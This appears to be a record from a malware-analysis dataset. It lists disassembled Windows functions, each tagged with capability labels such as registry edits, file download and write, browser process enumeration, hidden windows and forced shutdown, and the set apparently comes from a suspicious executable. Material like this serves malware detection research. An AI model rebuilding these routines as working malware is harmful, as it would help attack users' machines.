joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41ecc7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004107c8
and dword [ebp - 4], 0
cmp dword [0x464a48], 0
mov ebx, eax
jne 0x41ed78
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41ee29
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x45920c
push edi
call esi
test eax, eax
je 0x41ee29
push eax
call fcn.00410756
mov dword [esp], 0x4591fc
push edi
mov dword [0x464a48], eax
call esi
push eax
call fcn.00410756
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x464a4c], eax
call esi
push eax
call fcn.00410756
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x464a50], eax
call esi
push eax
call fcn.00410756
pop ecx
mov dword [0x464a58], eax
test eax, eax
je 0x41ed78
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00410756
pop ecx
mov dword [0x464a54], eax
mov eax, dword [0x464a54]
cmp eax, ebx
je 0x41edd0
cmp dword [0x464a58], ebx
je 0x41edd0
push eax
call fcn.004107d1
push dword [0x464a58]
mov esi, eax
call fcn.004107d1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41edd0
test edi, edi
je 0x41edd0
call esi
test eax, eax
je 0x41edc7
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41edc7
test byte [ebp - 0xc], 1
jne 0x41edd0
or dword [ebp + 0x10], 0x200000
jmp 0x41ee09
mov eax, dword [0x464a4c]
cmp eax, ebx
je 0x41ee09
push eax
call fcn.004107d1
pop ecx
test eax, eax
je 0x41ee09
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41ee09
mov eax, dword [0x464a50]
cmp eax, ebx
je 0x41ee09
push eax
call fcn.004107d1
pop ecx
test eax, eax
je 0x41ee09
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x464a48]
call fcn.004107d1
pop ecx
test eax, eax
je 0x41ee29
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41ee2b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x423230
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov byte [ebp - 9], 1
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x423289
mov dword [ebp - 0x14], 1
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0x20006
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x423295
mov byte [ebp - 9], 0
jmp 0x4232d8
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00409e00
add esp, 4
add eax, 1
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 1
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4232ce
mov byte [ebp - 9], 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x4232e0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 5], 1
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x423327
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x42332b
mov byte [ebp - 5], 0
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x425280
Capabilities:
Download and write a file
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov byte [ebp - 9], 0
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x42533a
push 0x400
call fcn.0043aab0
add esp, 4
mov dword [ebp - 0x14], eax
push 0
push 0x80
push 2
push 0
push 2
push 0x1f01ff
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
push 0x400
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4252f0
jmp 0x42531a
cmp dword [ebp - 0x10], 0
je 0x425314
cmp dword [ebp - 8], 0
jbe 0x425314
push 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], 0
ja 0x4252d3
cmp dword [ebp - 0x10], 0
je 0x42532a
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x14]
push edx
call fcn.0043aa90
add esp, 4
mov byte [ebp - 9], 1
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret 8

Function at 0x4253e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push 0x80
push 2
push 0
push 3
push 0x1f01ff
mov eax, dword [0x464b04]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x464f24], eax
mov dword [ebp - 4], 0x30
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0x464f28
mov eax, dword [0x464f24]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [0x464f24]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x464b04]
push edx
call fcn.0043aa90
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x425f20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004245f0
add esp, 8
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x425f5c
jmp 0x426081
push 0
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x1c]
movzx edx, word [ecx + 8]
push edx
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
call dword [sym.imp.GDI32.dll_GetDIBits]
test eax, eax
jne 0x425f87
jmp 0x426081
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x425fb1
jmp 0x426081
mov eax, 0x4d42
mov word [ebp - 0x2c], ax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x20]
lea edx, [edx + ecx*4 + 0xe]
mov eax, dword [ebp - 0x1c]
add edx, dword [eax + 0x14]
mov dword [ebp - 0x2a], edx
xor ecx, ecx
mov word [ebp - 0x26], cx
xor edx, edx
mov word [ebp - 0x24], dx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x20]
lea ecx, [ecx + eax*4 + 0xe]
mov dword [ebp - 0x22], ecx
push 0
lea edx, [ebp - 0xc]
push edx
push 0xe
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x42600c
jmp 0x426081
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x20]
lea edx, [ecx*4 + 0x28]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x426034
jmp 0x426081
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x426067
jmp 0x426081
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x426077
jmp 0x426081
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov esp, ebp
pop ebp
ret
Function at 0x427f80
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4548c0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x462544]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x24]
call fcn.0043b4a0
mov dword [ebp - 4], 0
cmp dword [0x464b04], 0
jne 0x427fd2
push 0x104
call fcn.0043aab0
add esp, 4
mov dword [0x464b04], eax
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x459310
push 0x104
mov edx, dword [0x464b04]
push edx
call fcn.00401090
add esp, 0x14
mov eax, dword [0x464b04]
push eax
lea ecx, [ebp - 0x24]
call fcn.0043b230
push 0x80
lea ecx, [ebp - 0x24]
call fcn.0043b3c0
movzx ecx, al
test ecx, ecx
jne 0x4280f5
push 0x80
lea ecx, [ebp - 0x24]
call fcn.0043b410
push 0x30
push 0
push 0x464f28
call fcn.00409d80
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
push 0x2000
push 0x100
call fcn.00424f40
add esp, 8
mov edx, eax
mov eax, esi
mul edx
mov cl, 0x20
call fcn.004546f0
mov esi, eax
mov edi, edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, ebx
mul ecx
add esi, eax
adc edi, edx
mov dword [0x464f28], esi
mov dword [0x464f2c], edi
mov byte [0x464f46], 1
mov byte [0x464f44], 1
mov byte [0x464f4e], 1
mov byte [0x464f4d], 1
mov byte [0x464f4c], 1
mov byte [0x464f4b], 1
mov byte [0x464f55], 0
push 8
push 0x464f28
push 0x28
push 0x464f30
call fcn.00428b80
add esp, 0x10
lea edx, [ebp - 0x28]
push edx
push 0x30
push 0x464f28
lea ecx, [ebp - 0x24]
call fcn.0043b320
lea ecx, [ebp - 0x24]
call fcn.0043b390
push 0x80
lea ecx, [ebp - 0x24]
call fcn.0043b3c0
lea eax, [ebp - 0x28]
push eax
push 0x30
push 0x464f28
lea ecx, [ebp - 0x24]
call fcn.0043b2b0
push 8
push 0x464f28
push 0x28
push 0x464f30
call fcn.004288f0
add esp, 0x10
lea ecx, [ebp - 0x24]
call fcn.0043b390
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0043b460
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x428760
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x462544]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x134], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xffffffff
jne 0x42879c
xor eax, eax
jmp 0x4288a8
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x4287d1
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4288a8
push str.opera.exe
lea eax, [ebp - 0x10c]
push eax
call fcn.0041fa6a
add esp, 8
test eax, eax
jne 0x4287f3
mov dword [ebp - 0x134], 1
push str.chrome.exe
lea ecx, [ebp - 0x10c]
push ecx
call fcn.0041fa6a
add esp, 8
test eax, eax
jne 0x428815
mov dword [ebp - 0x134], 2
push str.firefox.exe
lea edx, [ebp - 0x10c]
push edx
call fcn.0041fa6a
add esp, 8
test eax, eax
jne 0x428837
mov dword [ebp - 0x134], 3
push str.iexplore.exe
lea eax, [ebp - 0x10c]
push eax
call fcn.0041fa6a
add esp, 8
test eax, eax
jne 0x428859
mov dword [ebp - 0x134], 4
cmp dword [ebp - 0x134], 0
jle 0x42887a
mov ecx, dword [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0x128]
push edx
call fcn.00428480
add esp, 8
jmp 0x428895
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4287d1
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409d69
mov esp, ebp
pop ebp
ret

Function at 0x429320
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov eax, dword [0x462544]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xa4], ecx
push 0x1fc
push 0
mov eax, dword [ebp - 0xa4]
add eax, 8
push eax
call fcn.00409d80
add esp, 0xc
mov ecx, dword [ebp - 0xa4]
mov dword [0x465230], ecx
mov edx, dword [ebp - 0xa4]
mov dword [edx + 0x210], 0
mov eax, dword [ebp - 0xa4]
mov dword [eax + 0x214], 1
mov ecx, dword [ebp - 0xa4]
mov dword [ecx + 0x218], 1
mov edx, dword [ebp - 0xa4]
mov dword [edx + 0x258], 0
mov eax, dword [ebp - 0xa4]
mov dword [eax + 0x25c], 1
mov ecx, dword [ebp - 0xa4]
mov dword [ecx + 0x21c], 0
mov edx, dword [ebp - 0xa4]
mov dword [edx + 0x23c], 0
mov eax, dword [ebp - 0xa4]
mov dword [eax + 0x254], 0
mov ecx, dword [ebp - 0xa4]
mov dword [ecx + 0x20c], 0
mov edx, dword [ebp - 0xa4]
mov dword [edx + 0x260], 0
mov dword [ebp - 0xa0], 0x94
push 0x90
push 0
lea eax, [ebp - 0x9c]
push eax
call fcn.00409d80
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 2
jne 0x429449
cmp dword [ebp - 0x9c], 5
jb 0x429449
mov dword [ebp - 0xa8], 1
jmp 0x429453
mov dword [ebp - 0xa8], 0
mov edx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa8]
mov dword [edx + 0x220], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409d69
mov esp, ebp
pop ebp
ret
Function at 0x429480
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4294c2
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [ebp + 8]
push edx
push 0x428e90
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
jmp 0x4295d0
mov dword [ebp - 0x28], 0x24
lea ecx, [ebp - 0x28]
push ecx
push 5
call dword [sym.imp.SHELL32.dll_SHAppBarMessage]
test eax, eax
je 0x429548
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], 3
ja case.default.0x4294e8
mov eax, dword [ebp - 0x2c]
jmp dword [eax*4 + 0x4295d4]
mov ecx, dword [ebp - 0xc]
sub ecx, 0x64
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0xc]
sub eax, 0x10
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x18]
mov dword [edx], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx + 8], edx
jmp case.default.0x4294e8
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 4], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x64
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10]
sub eax, 0x10
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
jmp 0x4295d0
cmp dword [ebp - 4], 0
je 0x4295a1
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 8]
sub eax, dword [edx]
cmp eax, 0x96
jle 0x42957f
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
sub edx, 0x96
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0xc]
sub eax, dword [edx + 4]
cmp eax, 0x1e
jle 0x42959f
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0xc]
sub edx, 0x1e
mov eax, dword [ebp + 8]
mov dword [eax + 4], edx
jmp 0x4295d0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x30
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
sub eax, 0x96
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xc]
sub eax, 0x1e
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov esp, ebp
pop ebp
ret
Function at 0x42f630
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push 0
push 0
push 0xe
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x50]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x42f6a1
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x24]
push ecx
call fcn.0043aa90
add esp, 4
mov edx, dword [ebp - 4]
push edx
call fcn.0043aab0
add esp, 4
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x24], eax
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0xd
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x50]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + 0x24]
jmp 0x42f6a3
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4364a0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x28]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x28]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [ebp + 8], 0
je 0x4364eb
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
mov eax, dword [eax]
push edx
mov ecx, dword [eax + 0x2c]
call ecx
jmp 0x43650c
push 0
push 0
push 0
push 0
push str.about:blank
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
mov eax, dword [eax]
push edx
mov ecx, dword [eax + 0x2c]
call ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x438520
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0x10]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
push 0
push 0
push 0
lea edx, [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x30011
push 0x16
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov esp, ebp
pop ebp
ret
Function at 0x43ab20
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x43ab58
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 8]
mov dword [edx + 8], eax
mov eax, dword [ebp - 8]
mov byte [eax + 0x14], 0
xor al, al
jmp 0x43ab79
cmp dword [ebp - 4], 1
jbe 0x43ab70
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 4], eax
jmp 0x43ab58
mov eax, dword [ebp - 8]
mov byte [eax + 0x14], 1
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x43ab80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], 0
jne 0x43abb9
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x43abb9
mov ecx, dword [ebp - 4]
push ecx
push 4
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x10]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 4]
mov dword [edx + 4], eax
jmp 0x43abdd
cmp dword [ebp + 8], 0
je 0x43abdd
mov eax, dword [ebp - 4]
push eax
push 4
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 4], 0
jne 0x43abea
xor al, al
jmp 0x43abec
mov al, 1
mov esp, ebp
pop ebp
ret 8

Function at 0x43b090
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax], vtable.CProcWalk.0
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], 0
mov edx, dword [ebp - 4]
mov dword [edx + 8], 0
push 0x1000
call fcn.0043aab0
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], eax
mov edx, dword [ebp - 4]
add edx, 0x38
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x43b2b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
cmp dword [ebp + 8], 0
je 0x43b2cd
mov eax, dword [ebp - 8]
cmp dword [eax], 0xffffffff
je 0x43b2cd
cmp dword [ebp + 0xc], 0
jne 0x43b2d1
xor al, al
jmp 0x43b310
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x43b302
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [eax]
jne 0x43b302
mov al, 1
jmp 0x43b310
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
xor al, al
mov esp, ebp
pop ebp
ret 0xc